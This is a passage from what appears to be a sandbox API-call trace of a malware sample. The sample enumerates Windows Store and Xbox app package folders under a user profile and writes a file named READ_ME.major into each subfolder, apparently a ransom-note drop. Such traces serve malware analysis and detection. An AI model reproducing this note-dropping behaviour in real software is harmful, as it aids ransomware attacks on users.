lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.255] CloseHandle (hObject=0x96c) returned 1 [0191.255] FindNextFileW (in: hFindFile=0x660bb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40bd2b0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2080ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x40bd2b0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.255] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x96c [0191.255] WriteFile (in: hFile=0x96c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.256] CloseHandle (hObject=0x96c) returned 1 [0191.256] FindNextFileW (in: hFindFile=0x660bb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40bd2b0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2080ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x40bd2b0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.256] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x950534fc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x244679f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660c70 [0191.256] FindNextFileW (in: hFindFile=0x660c70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x950534fc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x244679f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.256] FindNextFileW (in: hFindFile=0x660c70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x15f8ed9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3981f155, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3981f155, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.256] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970 [0191.261] WriteFile (in: hFile=0x970, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.262] CloseHandle (hObject=0x970) returned 1 [0191.262] FindNextFileW (in: hFindFile=0x660c70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15aca2b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd20858aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15aca2b, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.262] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970 [0191.263] WriteFile (in: hFile=0x970, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.264] CloseHandle (hObject=0x970) returned 1 [0191.264] FindNextFileW (in: hFindFile=0x660c70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2086018, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15867c3, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.264] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970 [0191.264] WriteFile (in: hFile=0x970, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.265] CloseHandle (hObject=0x970) returned 1 [0191.265] FindNextFileW (in: hFindFile=0x660c70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2086a4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15867c3, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.265] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970 [0191.266] WriteFile (in: hFile=0x970, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.266] CloseHandle (hObject=0x970) returned 1 [0191.267] FindNextFileW (in: hFindFile=0x660c70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244665ad, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x244665ad, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x244777d7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.267] FindNextFileW (in: hFindFile=0x660c70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2087373, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15867c3, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.267] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970 [0191.267] WriteFile (in: hFile=0x970, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.268] CloseHandle (hObject=0x970) returned 1 [0191.268] FindNextFileW (in: hFindFile=0x660c70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7138b2cd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7138b2cd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.268] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970 [0191.274] WriteFile (in: hFile=0x970, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.275] CloseHandle (hObject=0x970) returned 1 [0191.275] FindNextFileW (in: hFindFile=0x660c70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94eafafc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94eafafc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x94eafafc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.275] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970 [0191.276] WriteFile (in: hFile=0x970, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.277] CloseHandle (hObject=0x970) returned 1 [0191.277] FindNextFileW (in: hFindFile=0x660c70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd21f4513, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15867c3, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.277] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970 [0191.278] WriteFile (in: hFile=0x970, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.278] CloseHandle (hObject=0x970) returned 1 [0191.279] FindNextFileW (in: hFindFile=0x660c70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd21f4513, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15867c3, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.279] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91227223, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6f58a0ab, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2447ece3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660cb0 [0191.279] FindNextFileW (in: hFindFile=0x660cb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91227223, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6f58a0ab, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2447ece3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.279] FindNextFileW (in: hFindFile=0x660cb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x39a819cf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x39a819cf, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.279] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x974 [0191.281] WriteFile (in: hFile=0x974, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.283] CloseHandle (hObject=0x974) returned 1 [0191.283] FindNextFileW (in: hFindFile=0x660cb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9162d1b2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223f2ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9162d1b2, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.283] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x974 [0191.284] WriteFile (in: hFile=0x974, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.286] CloseHandle (hObject=0x974) returned 1 [0191.286] FindNextFileW (in: hFindFile=0x660cb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9146357c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223fba5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9146357c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.286] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x974 [0191.289] WriteFile (in: hFile=0x974, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.290] CloseHandle (hObject=0x974) returned 1 [0191.290] FindNextFileW (in: hFindFile=0x660cb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91299917, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2240475, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91299917, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.290] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x974 [0191.290] WriteFile (in: hFile=0x974, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.291] CloseHandle (hObject=0x974) returned 1 [0191.291] FindNextFileW (in: hFindFile=0x660cb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2447ece3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2447ece3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2448277f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.291] FindNextFileW (in: hFindFile=0x660cb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9130c033, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2240caa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9130c033, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.291] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x974 [0191.292] WriteFile (in: hFile=0x974, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.293] CloseHandle (hObject=0x974) returned 1 [0191.293] FindNextFileW (in: hFindFile=0x660cb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9154838f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7138b2cd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7138b2cd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.293] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x974 [0191.296] WriteFile (in: hFile=0x974, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.297] CloseHandle (hObject=0x974) returned 1 [0191.297] FindNextFileW (in: hFindFile=0x660cb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f3e6702, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6f3e6702, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6f3e6702, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.297] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x974 [0191.298] WriteFile (in: hFile=0x974, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.299] CloseHandle (hObject=0x974) returned 1 [0191.299] FindNextFileW (in: hFindFile=0x660cb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9137e762, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd22d3ee3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 